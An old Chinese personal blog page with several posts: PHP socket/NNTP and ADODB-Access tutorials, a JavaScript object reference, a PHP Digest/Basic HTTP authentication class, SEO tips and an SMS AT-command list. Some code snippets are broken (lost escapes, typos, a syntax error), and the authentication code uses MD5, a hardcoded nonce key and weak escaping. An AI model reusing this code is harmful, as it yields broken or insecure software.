   PHP利用 Socket 浏览新闻组。    |   阅读全文   |   评论(5)  |  引用(trackback1)  

FROM: http://linux.tcpip.com.cn/article/index.php?func=detail&par=1&parentid=2117&start=24&s=0

PHP能打开远程或本地主机上的Socket端口。本文是一个使用Socket的小例子:连
接到一个Usenet新闻组服务器,同服务器对话,从新闻组中下载一些文章。

在php中打开一个socket
使用fsockopen()打开一个socket.这个函数在php3和php4种都可以使用。函数声明
是这样的:
int fsockopen (string hostname, int port [, int errno [, string errstr [, double timeout]]])
这个函数将打开一个连接到主机hostname的port端口的TCP连接。hostname可以是一
个有效的域名,或者是一个ip地址。对于udp连接,你必须指定协议:udp://hostname.
对于unix域,主机名使用到socket的路径,这种情况下,端口port必须置为0。可选
的timeout参数用来设定等待打开一个socket的时间,单位为秒。
关于fsockopen()的更多信息,请参考:h
ttp://www.php.net/manual/function.fsockopen.php

网络新闻传输协议
访问新闻组服务器需要通过称为NNTP(网络新闻传输协议)的协议来进行。这个协议
在rfc977中有详细的细节,可以在http://www.w3.org/Protocols/rfc977/rfc977.html   OR  RFC977
得到。这个文档分别描述了怎样连接到NNTP服务器,怎样同服务器对话,以及完成这
些任务的不同命令。

连接
连接到一个NNTP服务器需要知道它的主机名(或者是ip地址)和它侦听的端口。为了
避免一个连接企图失败导致程序挂起,你应该使用timeout参数。
<?php
$cfgServer = "your.news.host";
$cfgPort = 119;
$cfgTimeOut = 10;

//open a socket
if(!$cfgTimeOut)
// without timeout
$usenet_handle = fsockopen($cfgServer, $cfgPort);
else
// with timeout
$usenet_handle = fsockopen($cfgServer, $cfgPort, &$errno, &$errstr, $cfgTimeOut);

if(!$usenet_handle) {
echo "Connection failed.\n";
exit();
}
else {
echo "Connected.\n";
$tmp = fgets($usenet_handle, 1024);
}

?>


与服务器对话
  现在我们已经连接到了服务器,可以通过前面打开的socket同服务器对话了。比如
说我们要从某个新闻组得到最近的10篇文章。RFC977指出,第一步要用GROUP命令选择
正确的新闻组:
GROUP ggg
参数ggg是要选择的新闻组的名字(比如说是"net.news"),这是必需的。可用的新
闻组的列表可以用LIST命令得到。选择新闻组的命令成功后,返回组中第一篇和最
后一篇文章的文章编号,以及组中文章的数目。
下面是一个例子:
chrome:~$ telnet my.news.host 119
Trying aa.bb.cc.dd...
Connected to my.news.host.
Escape character is '^]'.
200 my.news.host InterNetNews NNRP server INN 2.2.2 13-Dec-1999 ready (posting ok).
GROUP alt.test
211 232 222996 223235 alt.test
quit
205 .

接收到命令 GROUP alt.test 后,服务器返回"211 232 222996 223235 alt.test".
211是RFC中定义的返回码,指示命令已成功执行。返回信息还指出,现在有232篇文
章,最早的文章的编号是222996,最新的文章的编号是223235。我们看到,
222996+232并不等于223235。丢失的7篇文章因为某种原因被从服务器删除了,可能
是因为被它的合法作者取消了(这是可能的,而且很容易做到),或者因为是灌水文
章而被删。
需要注意的事,有些服务器在选择新闻组之前可能要求身份认证,这取决于这是一个
公共的或者是私用的服务器。也有可能服务器允许任何人读取文章,但发表文章需要
身份验证。

<?php

//$cfgUser = "xxxxxx";
//$cfgPasswd = "yyyyyy";
$cfgNewsGroup = "alt.php";

//identification required on private server
if($cfgUser) {
fputs($usenet_handle, "AUTHINFO USER ".$cfgUser."n");
$tmp = fgets($usenet_handle, 1024);
fputs($usenet_handle, "AUTHINFO PASS ".$cfgPasswd."n");
$tmp = fgets($usenet_handle, 1024);

//check error

if($tmp != "281 Okrn") {
echo "502 Authentication errorn";
exit();
}
}

//select newsgroup

fput($usenet_handle, "GROUP ".$cfgNewsGroup."n");
$tmp = fgets($usenet_handle, 1024);

if($tmp == "480 Authentication required for commandrn") {
echo $tmp;
exit();
}

$info = split(" ", $tmp);
$first= $info[2];
$last = $info[3];

printf("First : %sn", $first);
printf("Last : %lastn", $last);

?>

shelly 发表于  2004-07-09 12:59:18


   JAVASCRIPT对象及属性教程    |   阅读全文   |   评论(6)  |  引用(trackback1)  
JAVASCRIPT对象及属性教程

[CP设计动力 csplanet@21cn.com ]

SCRIPT 标记

用于包含JavaScript代码.

语法

属性

LANGUAGE 定义脚本语言

SRC 定义一个URL用以指定以.JS结尾的文件

windows对象

每个HTML文档的顶层对象.

属性

frames[] 子桢数组.每个子桢数组按源文档中定义的顺序存放.

feames.length 子桢个数.

self 当前窗口.

parent 父窗口(当前窗口是中一个子窗口).

top 顶层窗口(是所有可见窗口的父窗口).

status 浏览器状态窗口上的消息.

defaultStatus 当status无效时,出现在浏览器状态窗口上的缺省消息.

name 内部名,为由window.open()方法打开的窗口定义的名字.


方法

alert("message") 显示含有给定消息的"JavaScript Alert"对话框.

confirm("message") 显示含有给定消息的"Confirm"对话框(有一个OK按钮和一个Cancel按钮).如果用户单击OK返回true,否则返回false.

prompt("message") 显示一个"prompt"对话框,要求用户根据显示消息给予相应输入.

open("URL","name") 打开一个新窗口,给予一个指定的名字.

close() 关闭当前窗口.

frame对象


它是整个浏览器窗口的子窗口,除了status,defaultStatus,name属性外,它拥有window对象的全部属性.


location对象


含有当前URL的信息.

属性

href 整个URL字符串.

protocol 含有URL第一部分的字符串,如http:

host 包含有URL中主机名:端口号部分的字符串.如//www.cenpok.net/server/

hostname 包含URL中主机名的字符串.如http://www.cenpok.net

port 包含URL中可能存在的端口号字符串.

pathname URL中"/"以后的部分.如~list/index.htm

hash "#"号(CGI参数)之后的字符串.

search "?"号(CGI参数)之后的字符串.


document对象


含有当前文档信息的对象.

属性

title 当前文档标题,如果未定义,则包含"Untitled".

location 文档的全URL.

lastModified 含有文档最后修改日期.

referrer 调用者URL,即用户是从哪个URL链接到当前页面的.

bgColor 背景色(#xxxxxx)

fgColor 前景文本颜色.

linkColor 超链接颜色.

vlinkColor 访问过的超链颜色.

alinkColor 激活链颜色(鼠标按住未放时).

forms[] 文档中form对象的数组,按定义次序存储.

forms.length 文档中的form对象数目.

links[] 与文档中所有HREF链对应的数组对象,按次序定义存储.

links.length 文档中HREF链的数目.

anchors[] 锚(...)数组,按次序定义存储.

anchors.length 文档中锚的数目.


方法

write("string") 将字符串突出给当前窗口.(字符串可以含有HTML标记)

writeln("string") 与write()类似,在结尾追加回车符,只在预定格式文本中(

...

...
)生效.

clear() 清当前窗口.

close() 关闭当前窗口.


form对象


属性

name

中的NAME属性的字符串值.

method 中METHOD属性的类值,"0"="GET" ,"1"="POST" .

action 中ACTION属性的字符串值.

target 表格数据提交的目标,与标记中相应属性一致.

elements[index] elements属性包含form中的各个元素.

length 表格中的元素个数.


方法

submit() 提交表格.

事件处理器onSubmit() 用户单击一个定义好的按钮提交form时运行的代码.


text和textarea对象

属性

name NAME属性的字符串值.

value 域内容的字符串值.

defaultValue 域内容的初始字符串值.


方法

focus() 设置对象输入焦点.

blur() 从对象上移走输入焦点.

select() 选定对象的输入区域.


事件处理器

onFocus 当输入焦点进入时执行.

onBlur 当域失去焦点时执行.

onSelect 当域中有部分文本被选定时执行.

onChange 当域失去焦点且域值相对于onFocus执行有所改变时执行.

复选框(checkbox)对象


属性

name NAME属性的字符串值.

value 复选框内容的字符串值.如果设置了,则为"on",否则为"off".

checked 复选框内容的布尔值.如果设置了,则为true,否则为false .

defaultChecked 反映(CHECKED)属性的布尔值(缺省状态).


方法

click() 选定复选框,并使之状态为"on".


事件处理器

onClick 当用户单击Checkbox时执行.


单选按钮(radio)对象


属性

name NAME属性的字符串值.

length radio对象中单选按钮的个数.

value VALUE属性的字符串值.

checked 布尔值,按下为true,否则为false .

defaultChecked 反映CHECKED属性值的布尔值.


方法

click() 选定单选按钮.


事件处理器

onClick 当单选按钮被选定时执行.

select对象

属性

length select对象中对象的个数.

name 由NAME=属性定义的select对象的内部名.

selectedIndex select对象中当前被选option的下标.

options 该属性对应于在HTML中定义select对象时标记中的内容,它有如下属性:

text 标记后的文本串.

value VALUE属性的值,当Submit按钮被按下时,该值被提交.

defaultSelected 反映标记的SELECTED属性的布尔值.

selected 反映option的当前选择状态的布尔值.


事件处理器

onFocus 当输入焦点进入域时执行.

onBlur 当域失去输入焦点时执行.

onChange 当域失去焦点且如果域的值相对于onFocus执行时有所改变,则执行onChange.


Button对象


表格中有三种类型按钮,由标记中的TYPE属性定义:

.submit (type="SUBMIT")

.reset (type="RESET")

.custom (type="BUTTON")

所有按钮对象都有如下成分:

属性

value VALUE属性的字符串值.

name NAME属性的字符串值.


方法

click() 选定按钮


事件处理器

onClick 当按钮被单击时执行.


submit和reset对象


属性

value VALUE=属性的内容.

name NAME=属性的内容.


方法

click() 选定按钮


事件处理器

onClick 当按钮被单击时执行.


password对象


属性

defaultValue VALUE=属性的内容.

name NAME=属性的内容.

value 目前输入password域的数据.


方法

focus() 将焦点带入password域.

blur 将焦点从password域移出.

select() 选定password域中的当前数据,以备修改.


navigator对象


该对象用于确定用户访问时使用的Navigator版本.

属性

appCodeName 相对于用户浏览器的"codename"

appName 相对于用户浏览器的实际名字.

appVersion 相对于用户浏览器的版本号.

userAgent 该属性反映用户浏览器的全部信息.

string对象


string对象为操作字符串的内容提供了很多方法.


属性

length 字符串的长度,即字符串中字符的个数.


方法

big(),blink(),bold(),fixed(),italics(),small(),sub(),strike(),sup(),fontColor(color),fontSize(size)

以上方法为字符串增加相应的HTML标记.

charAt(index) 返回字符串中index处的字符.

indexOf(searchValue,[fromIndex]) 该方法在字符串中寻找第一次出现的searchValue.如果给定了fromIndex,则从

字符串内该位置开始搜索,当searchValue找到后,返回该串第一个字符的位置.

lastIndexOf(searchValue,[fromIndex]) 从字符串的尾部向前搜索searchValue,并报告找到的第一个实例.

substring(indexA,indexB) 获取自indexA到indexB的子串.

toLowerCase(),toUpperCase() 将字符串中所有字符全部转换成大写,小写.


Date对象


要使用Date对象,必须先生成一个Date实例:

变量名=new Date();

方法

getDay(),getDate(),getHours(),getMinutes(),getMonth(),getSeconds(),getTime(),

getTimeZoneOffset(),getYear()

还有setDay... ...

toGMTString() 用GMT格式返回当前时间. (Sun,12 Feb 1999 14:19:22 GMT)

toLocaleString 用locale格式返回当前时间. (03/11/99 14:19:22)

parse(date) 将普通date字符串转换成豪秒形式,从而给setTime()做参数.


Math对象


属性

LN10 (10的自然对数)

PI (3.1415926...)

SQRT1_2 (1/2的平方根)

方法

abs(x) 返回x的绝对值

acos(x) 返回x的arc cosine值

asin(x) 返回x的arc sin值

atan(x) 返回x的arc tangent值

ceil(x) 返回大于等于x的最小整数

cos(x) 返回x的cosine值

exp(x) 返回e的x次方

floor(x) 返回小于等于x的最大整数

log(x) 返回x的

max(x,y) 返回x,y中的大值

min(x,y) 返回x,y中的小值

pow(x,y) 返回x的y次方

round(x) 舍入到最近整数,(小于或等于0.5小数舍去)

sin(x) 返回x的sin值

sqrt(x) 返回x的平方根

tan(x) 返回x的tangent值

shelly 发表于  2004-07-03 21:37:43


   Digest and Basic Authentication    |   阅读全文   |   评论(0)  |  引用(trackback1)  

:) 查找好久的 HTTP 非 BASIC 认证范例。呵呵,终于被找到,有机会在公司内部的ISA SERVER代理上试验一下。

SORRY,原文出处俺忘记了。

相关HTTP 认证 文档参见:http://www.ietf.org/rfc/rfc2617.txt

<?php
// Digest and Basic authentication PHP implementation by Thomas Pike
// Comments on this implementation can be left at:
// http://www.xiven.com/blog.php?start=73&count=1

// Usage:
// - Include this file in every page.
// - The following constant needs to be defined:
//     'REALM' - specifies the name of the realm of this login system.
// - Somewhere at top of every page, have a line like the following:
//     $auth = new authentication;
// - Create a login page with the following code in:
//     if(!$auth->loggedIn) {
//         $auth->authenticate();
//     } else {
//         echo '<p>Login successful</p>';
//       ....
//     }
// - A users table is required in a database with at least the following fields:
//     userid     INT PRIMARY        Unique user id
//     username   VARCHAR            User name
//     a1         CHAR(32)           Password hash
//     trust      INT                Indicates user trust (affected by auth method used)
// - Passwords should be stored in the database in the form:
//     a1 = md5($username.":".REALM.":".$password);
//   where REALM is the predefined realm name for this login system.
// - (OPTIONAL) Somewhere at the bottom of every page, include the following code:
//     $auth->authenticationInfo($contentMD5);
//   where $contentMD5 is the md5 checksum of the web page.

// Notes:
// - Code is not provided here for the creation of user accounts.  In particular, a secure
//   arrangement for allowing the user to choose their password in the first place would be
//   needed.  This could maybe be done using a true secure method such as SSL, or by some kind
//   of public key method (would probably need to use javascript for this).
// - Digest Authentication is not the world's answer to web security.  If you need a truly secure
//   system you should almost certainly be using SSL instead.  In particular, all data except for
//   the user's password is sent in plain text as usual.  Additionally, this implementation is
//   unavoidably vulnerable to certain "Man in the Middle" attacks as detailed in section 4.8 of
//   RFC 2617 - HTTP Authentication (http://www.ietf.org/rfc/rfc2617.txt).  Also, if Auth is used
//   instead of Auth-int, POST requests could potentially be modified en-route by a malicious
//   proxy.
// - ':' symbol is not allowed in user name to allow for compatibility with Basic authentication.

// Current browser issues:
// - Currently only Opera is known to support Auth-int.  IE and Mozilla only support Auth.
//   Mozilla bug: http://bugzilla.mozilla.org/show_bug.cgi?id=168942
// - Mozilla and IE completely ignore the Authentication-Info header (they neither reject the page
//   if the server sends an incorrect rspauth, nor do they use the nextnonce value for the next
//   request, resulting in a 401 with stale=true being sent after the 2 minute stale nonce grace
//   period has expired even if other pages have been accessed).
//   Mozilla bug: http://bugzilla.mozilla.org/show_bug.cgi?id=116177
// - IE doesn't resend the Opaque value for subsequent requests, therefore if it is not present, we
//   allow the request anyway.  I don't believe this should actually affect security in any way
//   since the Opaque value never changes, and if the response is valid then the client must have
//   the correct Opaque value.
// - If the URI has a querystring (ie. ?foo=bar) IE does not include it in the URI it sends in the
//   Authorization header.  This is a violation of RFC2617 section 3.2.2.5.  This implementation
//   works around this bug by being more leniant than the spec allows.  This functionality can be
//   disabled by setting the IECOMPAT constant to false.
// - WWW-Authenticate line specifies Digest before Basic since otherwise IE will use Basic.  Note
//   that this goes against the advice in RFC 2617: "Note that many browsers will only recognize
//   Basic and will require that it be the first auth-scheme presented."

// Current implementation issues:
// - Nonce count is currently ignored by this system.  This should be implemented as extra security
//   against replay attacks.  To do this, we need a method of "remembering" which nonce counts have
//   been used for the current nonce.  Maybe this could be stored in the database, but this would
//   result in extra queries.  Another alternative is to write the used nonce values in a file.
// - Error logging code for incorrect password not yet implemented

// Issues fixed since last release
// - FIXED: Auth-int support will almost certainly break when faced with multipart form data.
//   eg. <form enctype="multipart/form-data"> which is commonly used for uploading files via HTTP.
// - FIXED: 2004-01-10 Authentication fails when URI contains an apostrophe (')
// - FIXED: 2004-05-03 Basic Authentication broken
// - FIXED: 2004-05-03 Workaround for IE bug: URI in Authorization header does not include
//   querystring

define('OPAQUE', 'moo');
define('NONCEKEY', 'moo');//$_SERVER['UNIQUE_ID']);
define('IECOMPAT', true);

class authentication {
    var $loggedIn;
    var $userID;
    var $trust;
    var $reducedTrust;
    var $authMethod;
    var $auth;
    var $a1;
    var $nonce;
    var $nextNonce;
   
    function authentication() {
       
        global $db;
       
        $return = '';
        $this->loggedIn = false;
        $this->userID = 0;
        $this->trust = 0;
        $this->reducedTrust = false;
        if(isset($_SERVER['Authorization'])) {
            // Just in case they ever fix Apache to send the Authorization header on, the following code is included
            $headers['Authorization'] = $_SERVER['Authorization'];
        }
        if(function_exists('apache_request_headers')) {
            // We are running PHP as an Apache module, so we can get the Authorization header this way
            $headers = apache_request_headers();
        }
        if(isset($_SERVER['PHP_AUTH_USER']) && isset($_SERVER['PHP_AUTH_PW'])) {
            // Basic authentication information can be retrieved from these server variables
            $username = $_SERVER['PHP_AUTH_USER'];
            $password = $_SERVER['PHP_AUTH_PW'];
        }
        $requestURI = stripslashes($_SERVER['REQUEST_URI']);
        if(isset($headers['Authorization'])) {
            if(substr($headers['Authorization'],0,7) == 'Digest ') {
                // Digest authentication received
                // Get the Authorization header into a usable format
                $authtemp = explode(',', substr($headers['Authorization'],strpos($headers['Authorization'],' ')+1));
                $auth = array();
                foreach($authtemp as $key => $value) {
                    $value = trim($value);
                    if(strpos($value,'=') !== false) {
                        $lhs = substr($value,0,strpos($value,'='));
                        $rhs = substr($value,strpos($value,'=')+1);
                        if(substr($rhs,0,1) == '"' && substr($rhs,-1,1) == '"') {
                            $rhs = substr($rhs,1,-1);
                        }
                        $auth[$lhs] = $rhs;
                    }
                }
                $this->auth = $auth;
                if(strpos($auth['uri'], '?') === false && strpos($requestURI, '?') !== false && IECOMPAT) {
                    // Another joyful IE bug: URI in Authorization header does not include querystring
                    $requestURI = substr($requestURI, 0, strpos($requestURI, '?'));
                }
                if($requestURI == $auth['uri']) {
                    // Request URI matches URI in Authorization header
                    $this->authMethod = 'digest';
                    $nonceOptions = $this->nonceOptions();
                    $this->nextNonce = $nonceOptions[0];
                    if($auth['nonce'] == $nonceOptions[0]) {
                        // Up-to-date nonce received
                        $this->nonce = $nonceOptions[0];
                        $stale = false;
                    } elseif ($auth['nonce'] == $nonceOptions[1]) {
                        // 1-minute old nonce received - allowed
                        $this->nonce = $nonceOptions[1];
                        $stale = false;
                    } elseif ($auth['nonce'] == $nonceOptions[2]) {
                        // 2-minute old nonce received - allowed
                        $this->nonce = $nonceOptions[2];
                        $stale = false;
                    } else {
                        // Stale nonce received (probably more than 2 minutes old)
                        $this->nonce = $auth['nonce'];
                        $stale = true;
                    }
                    $query = "SELECT userid, a1, trust FROM users WHERE username = '".sqlEscape($auth['username'])."'";
                    $rdsUser =& $db->query($query,IGNOREERROR);
                    if($rdUser =& $db->fetchArray($rdsUser)) {
                        // Username valid - determine password validity
                        $this->a1 = $rdUser['a1']; // md5($auth['username'].":".REALM.":".$rdUser['a1']);
                        $a2unhashed = $_SERVER['REQUEST_METHOD'].":".$requestURI;
                        if($auth['qop'] == 'auth-int') {
                            $body = '';
                            foreach($_POST as $key => $value) {
                                if($body != '') $body .= '&';
                                $body .= rawurlencode(sqlUnescape($key)) . '=' . rawurlencode(sqlUnescape($value));
                            }
                            if(isset($GLOBALS["HTTP_RAW_POST_DATA"])) {
                                // In PHP < 4.3 get raw POST data from this variable
                                $body = $GLOBALS["HTTP_RAW_POST_DATA"];
                            }
                            if(version_compare(phpversion(), '4.3.0', '>=')) {
                                if($lines = @file('php://input')) {
                                    // In PHP >= 4.3 get raw POST data from this file
                                    $body = implode("\n", $lines);
                                }
                            }
                            $a2unhashed .= ':'.md5($body);
                            $trust = 3;
                        } else {
                            $trust = 2;
                        }
                        $a2 = md5($a2unhashed);
                        $combined = $this->a1.':'.
                                    $this->nonce.':'.
                                    $auth['nc'].':'.
                                    $auth['cnonce'].':'.
                                    $auth['qop'].':'.
                                    $a2;
                        $expectedResponse = md5($combined);
                        if(!isset($auth['opaque']) || $auth['opaque'] == md5(OPAQUE)) {
                            if($auth['response'] == $expectedResponse) {
                                // Password valid
                                if(!$stale) {
                                    // Everything is good!
                                    $this->loggedIn = true;
                                    $this->userID = $rdUser['userid'];
                                    $this->trust = min($rdUser['trust'], $trust);
                                    if($this->trust < $rdUser['trust']) {
                                        // Reduce trust if user has used less secure login than before (eg. auth rather than auth-int)
                                        $query = "UPDATE users SET trust = ".$this->trust." WHERE userid = ".$rdUser['userid'];
                                        $db->query($query);
                                        $this->reducedTrust = true;
                                    }
                                } else {
                                    // Nonce is stale
                                    $wwwauth = 'WWW-Authenticate: Digest ';
                                    $wwwauth .= 'qop="'.$auth['qop'].'", ';
                                    $wwwauth .= 'algorithm=MD5, ';
                                    $wwwauth .= 'realm="'.REALM.'", ';
                                    $wwwauth .= 'domain="'.substr(HTTPLOC,0,-1).'", ';
                                    $wwwauth .= 'nonce="'.$nonceOptions[0].'", ';
                                    $wwwauth .= 'opaque="'.md5(OPAQUE).'", ';
                                    $wwwauth .= 'stale=true ';
                                    header($wwwauth);
                                    $stalepage = new page(NOAUTH);
                                    $stalepage->response('401 Unauthorized');
                                    $stalepage->title('Login stale');
                                    $stalepage->h1('Login stale');
                                    $stalepage->add('
                                    <h>Login stale</h>
                                    <p>Stale nonce value, please re-authenticate.</p>
                                    ');
                                    $stalepage->display();
                                    die();
                                }
                            } else {
                                // Password mismatch - log an error and allow retry
                            }
                        } else {
                            // Opaque doesn't match - bad request
                            $this->authenticateFailure('Opaque doesn\'t match ('.$auth['opaque'].' != '.md5(OPAQUE).')');
                        }
                    } else {
                        // Username not found - allow retry
                    }
                } else {
                    // Request URI doesn't match URI in Authorization header - bad request
                    $this->authenticateFailure('
                    Request URI doesn\'t match URI in Authorization header ('.$requestURI.' != '.$auth['uri'].')
                    ');
                }
            }
        } elseif(isset($username) && isset($password)) {
            // Basic authentication received
            $this->authMethod = 'basic';
            $query = "SELECT userid, trust FROM users WHERE username = '".sqlEscape($username)."' ";
            $query .= "AND a1 = '".md5($username.":".REALM.":".$password)."'";
            $rdsUser =& $db->query($query,IGNOREERROR);
            if($rdUser =& $db->fetchArray($rdsUser)) {
                // Login successful
                $this->loggedIn = true;
                $this->userID = $rdUser['userid'];
                $this->trust = min($rdUser['trust'], 1);
                if($this->trust < $rdUser['trust']) {
                    // Reduce trust if user has used less secure login than before (eg. basic rather than digest)
                    $query = "UPDATE users SET trust = ".$this->trust." WHERE userid = ".$rdUser['userid'];
                    $db->query($query);
                    $this->reducedTrust = true;
                }
            }
        }
        #else {
            // Unrecognised authentication type - bad request
        #    $this->authenticateFailure();
        #}
        return $return;
    }
   
    function authenticationInfo($contentMD5) {
       
        if($this->loggedIn && $this->authMethod == 'digest') {
            // Work out authorisation response
            $a2unhashed = ":".stripslashes($_SERVER['REQUEST_URI']);
            if($this->auth['qop'] == 'auth-int') {
                $a2unhashed .= ':'.$contentMD5;
            }
            $a2 = md5($a2unhashed);
            $combined = $this->a1.':'.
                        $this->nonce.':'.
                        $this->auth['nc'].':'.
                        $this->auth['cnonce'].':'.
                        $this->auth['qop'].':'.
                        $a2;
           
            // Send authentication info
            $wwwauth = 'Authentication-Info: ';
            if($this->nonce != $this->nextNonce) {
                $wwwauth .= 'nextnonce="'.$this->nextNonce.'", ';
            }
            $wwwauth .= 'qop='.$this->auth['qop'].', ';
            $wwwauth .= 'rspauth="'.md5($combined).'", ';
            $wwwauth .= 'cnonce="'.$this->auth['cnonce'].'", ';
            $wwwauth .= 'nc='.$this->auth['nc'].'';
            header($wwwauth);
        }
       
    }
   
    function authenticate() {
       
        // Force client to login
        $nonceOptions = $this->nonceOptions();
        $wwwauth = 'WWW-Authenticate: Digest ';
        $wwwauth .= 'qop="auth-int,auth", ';
        $wwwauth .= 'algorithm=MD5, ';
        $wwwauth .= 'realm="'.REALM.'", ';
        $wwwauth .= 'domain="'.substr(HTTPLOC,0,-1).'", ';
        $wwwauth .= 'nonce="'.$nonceOptions[0].'", ';
        $wwwauth .= 'opaque="'.md5(OPAQUE).'" ';
        $wwwauth .= "\r\n".'WWW-Authenticate: Basic realm="Omoicore"';
        header($wwwauth);
        header('HTTP/1.x 401 Unauthorized');
        ?>
        <h1>Login error</h1>
        <p>The user name and/or password you supplied was incorrect.</p>
        <?php
        die();
       
    }
   
    function authenticateFailure($details = '') {
       
        // Bad authorisation request received.
        header('HTTP/1.x 400 Bad Request');
        ?>
        <h1>Bad Request</h1>
        <p>
            Your browser attempted to authenticate with this server, but the request was invalid.  If this problem persists,
            please contact the support staff quoting the following text (copy and paste it if necessary):
        </p>
        <pre><samp><?php echo htmlspecialchars($_SERVER['HTTP_USER_AGENT'])?></samp></pre>
        <?php
        if($details != '') {
            echo '<p><samp>'.htmlspecialchars($details).'</samp></p>';
        }
        die();
       
    }
   
    function nonceOptions() {
       
        // Return acceptable nonce values
        $time = time();
        return array(
            md5(date('Y-m-d H:i',$time).':'.$_SERVER['HTTP_USER_AGENT'].':'.NONCEKEY),
            md5(date('Y-m-d H:i',$time-60).':'.$_SERVER['HTTP_USER_AGENT'].':'.NONCEKEY),
            md5(date('Y-m-d H:i',$time-120).':'.$_SERVER['HTTP_USER_AGENT'].':'.NONCEKEY)
        );
       
    }
}

function sqlEscape($text) {
    if(get_magic_quotes_gpc()) {
        return $text;
    } else {
        return addslashes($text);
    }
}

function sqlUnescape($text) {
    if(get_magic_quotes_gpc()) {
        return stripslashes($text);
    } else {
        return $text;
    }
}
?>

shelly 发表于  2004-07-01 14:43:53


   google排名经验谈    |   阅读全文   |   评论(1)  |  引用(trackback1)  

google排名经验谈

FROM: http://www.xagoogle.com/search/search006.htm 

针对与google排名,关键是内容好。当然内容好,能不能让GOOGLE知道,那就是技巧方面的问题了。根据许多经验,在这里与各位朋友分享一下几个要点:

A、 标题标签:
标题及网页代码中 与 之间的字符。
目前,不光GOOGLE,而且大多搜索引擎都很关注它,所以这个标题标签的设计对你的网站在搜索引引擎的排名中特别重要。所以,标题设计一定要接近全力想到关键词,最好把最重要的关键词融入到标题中。例如:

luao.y365.com 是我花了一个下午做出来的试验的放在免费空间,用免费二级域名的站点,不过他在百度、GOOGLE 中打入“工艺画”、”麦秸画“ “工艺画批发”、“工艺画制作”等关键词,它都排在第一的位置。

针对于它的标题,我是这样设计的:

注:标题设计最好不好超过40个字符,也就是20个汉字。

B、 内容标签:
在网页标签中,关键词标签已经不被搜索引擎看重,而目前google相对而言还是比较看重内容简介标签的。及:
在简介标签中,一定要充分发挥最关键的那个词的出现频率,以及融入有可能出现的组合关键词。请看下面这个内容简介标签:

注:经过试验表明,这个标签放在 这个标签上面比较好。

C、 页面内容:
标题的设计,标签的设计,最好要与内容想符合,另外在网页中,最好能够合理的提高关键词出现频率。
另外针对与关键词,可以用加粗(及 ) ,也可以用相对大一点的字体突出关键词。 这样,GOOGLE将会更加关注这个关键词。

D、 外部连接:
大家都知道,在GOOGLE中,通过A网站的连接到B战,就等于A站投B站了一票,B站在google中及积分将升高一分,积分高了,当然也有利于排名了。所以,网站的外部连接特别重要。那么就谈友情连接了,对于友情连接,最好多做高攀的、门当户对的、内容互补的友情连接。呵呵!

E、 其他策略:
说道底,对于网站而言。想要真正的做好,还是把内容做好,把你的用户粘在你的网站,这样通过网络营销,你的用户将不断的积累,流量那么也是越来越大,流量大了,对GOOGLE排名最有用。

案例:
麦秸工艺画 http://luao.y365.com 关键词: 工艺画、麦秸画 等等
OIC点子俱乐部 关键词:点子
手机之家 http://www.imobile.com.cn 关键词:手机 手机新闻 手机软件
价格比较网:http://www.dududu.net 关键词:价格比较、电脑价格比较、手机价格比较等等。

shelly 发表于  2004-06-02 09:41:50


   呵呵,有个新发现    |   阅读全文   |   评论(2)  |  引用(trackback0)  

WINDOWS 删除也是有讲究的。

试着把鼠标放到地址栏最后。

http://www.blogbus.com/blogbus/blog/index.php?blogid=8991

然后按下  Ctrl+BackSpace 呵呵,你发现了什么?? 没有看清? 再按,再按。

:D 是不是觉得方便了很多呀?

 

PS:此文仅为对地址栏数据有修改嗜好的朋友而写。 ;)

shelly 发表于  2004-05-31 12:25:54


   PHP 通过 ADODB 连接 Access 的一个实例    |   阅读全文   |   评论(1)  |  引用(trackback1)  

PHP 通过  ADODB  连接 Access 的一个实例~~~~

<?php
include('tohtml.inc.php'); // load code common to ADODB
include('adodb.inc.php'); // load code common to ADODB
$db = &ADONewConnection("ado_access");
print "<h1>Connecting $db->databaseType...</h1>";
$access = 'test.mdb';
$myDSN = 'PROVIDER=Microsoft.Jet.OLEDB.4.0;'.'DATA SOURCE='. $access . ';';.'USER ID=;PASSWORD=;';

if (@$db->PConnect($myDSN, "", "", "")) {
print "ADO version=".$db->_connectionID->version."<br>";
$sql = 'select name, group1 from experts';
$rs = $db->Execute($sql);
rs2html($rs,'border=2 cellpadding=3',array('Customer Name','Customer ID'));
} else print "ERROR: Access test requires a Access database $access".'<BR>'.$db->ErrorMsg();
?>

 

//下面是今晚我自己的测试代码.

<?php
include("adodb.inc.php");

$db=&ADONewConnection("ado_access");  //设定以ADO_ACCESS方式连接数据库.
$access = "d:\\WWW\\test\\test.mdb";  //设定ACCESS数据库的路径.  PHP可以用 _FILE_ _DIR_ 常量来获取吧??  忘记了./:D  注意路径用 双 \ ,调试中走了些弯路.
$myDSN="Provider=Microsoft.Jet.OLEDB.4.0;"."DATA SOURCE=".$access.";"." USER ID=;PASSWORD=;";    //连接 字串
if(@$db->Connect($myDSN,"","","")){     // 如果连接成功的话,
 $sql="SELECT * FROM `USER`";   //设置SQL语句
 $rs=$db->Execute($sql);       //运行 SQL语句查询
while($rs->MoveNext()){        //循环整个 RecordSet
 for($i=0;$i<count($rs->fields);$i++) echo "$i is :".$rs->fields[$i]."<BR />";  //输出 每个字段的值.
 }
// 上面这段是 Select 查询


 $sql="UPDATE `USER` SET Id='14' WHERE Id='13'";
 $rs=$db->Execute($sql);
//上面这段是 Update 查询

 $sql="INSERT INTO `USER` (`Id`,`Domains`,`Ftpuser`,`Ftppass`,`ChangePassword`,`HomeDir`,`RelPaths`,`AlwaysAllowLogin`,`DiskQuota`,`TimeOut`,`Access1`) VALUES ('15','Domain1','Shelly','Shelly','1','F:\','1','1','14400','300','F:\|RWL')";
 $rs=$db->Execute($sql);
// 上面这段是 Insert into  查询

}
else die ("Connect error".$db->ErrorMsg());  //如果连接出错,就给出出错信息.
$db->Close();  //关闭连接.

 

上面就是关于用  PHP 调用ADODB 类库 对Access 数据库操作的实例. 希望对您有用. /:D 有其它论坛记得 TrackBack Me.....

shelly 发表于  2004-05-22 16:28:28


   SMS Mo 的AT指令[转]    |   阅读全文   |   评论(1)  |  引用(trackback1)  
AT 指令
功                     能

AT+CMGC
Send an SMS command(发出一条短消息命令)

AT+CMGD
Delete SMS message(删除SIM卡内存的短消息)

AT+CMGF
Select SMS message formate(选择短消息信息格式:0-PDU;1-文本)

  

AT+CMGL
List SMS message from preferred store(列出SIM卡中的短消息PDU/text:   0/“REC UNREAD”-未读,1/“REC READ”-已读,2/“STO UNSENT”-待发,3/“STO SENT”-已发,4/“ALL”-全部的)

AT+CMGR
Read SMS message(读短消息)

AT+CMGS
Send SMS message(发送短消息)

AT+CMGW
